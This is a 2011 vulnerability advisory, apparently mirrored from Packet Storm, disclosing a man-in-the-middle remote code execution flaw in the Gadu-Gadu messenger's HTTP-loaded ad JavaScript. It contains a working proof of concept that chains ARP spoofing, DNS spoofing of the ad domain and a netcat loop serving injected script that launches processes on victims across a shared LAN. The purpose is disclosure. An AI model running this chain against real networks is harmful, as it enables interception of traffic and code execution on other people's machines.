Lucene search
K

Gadu-Gadu Remote Code Execution

🗓️ 28 May 2011 00:00:00Reported by Kacper SzczesniakType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

Gadu-Gadu Remote Code Execution vulnerability allows MITM attack to inject JS code for spawning new processes without user interaction

Code
`Vendor: Gadu-Gadu (http://gadu-gadu.pl)  
Vulnerable Version: All  
Vulnerability Type: MITM, Remote Code Execution  
Risk level: High  
Credit: Kacper Szczesniak <[email protected]>  
Vulnerability Details:  
  
Gadu-Gadu is vulnerable to the Man-In-The-Middle attack allowing  
remote code execution on a victim host.  
JavaScript code is loaded from external HTTP location to display ads.  
If an attacker is able to take over HTTP request it's possible to  
inject JS code into WebKit User Interface. Internal communication  
mechanisms can be used to spawn new processes. No user interaction or  
contact list presence is needed as ads are loaded automatically.  
  
a trivial PoC to spawn notepads all over CoffeeHeaven/LAN:  
  
# echo 1 > /proc/sys/net/ipv4/ip_forward  
# arp -s GW_IP GW_MAC  
# arpspoof -i eth0 GW_IP  
# echo "YOURIP *.adocean.pl" > /tmp/x  
# dnsspoof -i eth0 -f /tmp/x  
# while [ 1 ] ; do echo -ne "HTTP/1.0 200 OK\r\nConnection:  
close\r\nContent-Length: 239\r\nContent-Type:  
text/html\r\n\r\nb=document.getElementsByTagName(\"body\").item(0);\r\nb.innerHTML='<a  
id=\"a\" href=\"c:/windows/notepad.exe\"></a>';\r\na=document.getElementById('a');\r\ne=document.createEvent('HTMLEvents');\r\ne.initEvent('click',  
true, true);\r\na.dispatchEvent(e);\r\n" | nc -l 80 ; done  
  
  
BTW last vulnerability was not really patched. Only message filter was  
introduced so it's still possible to take advantage of it using  
another MITM.  
  
kacper  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation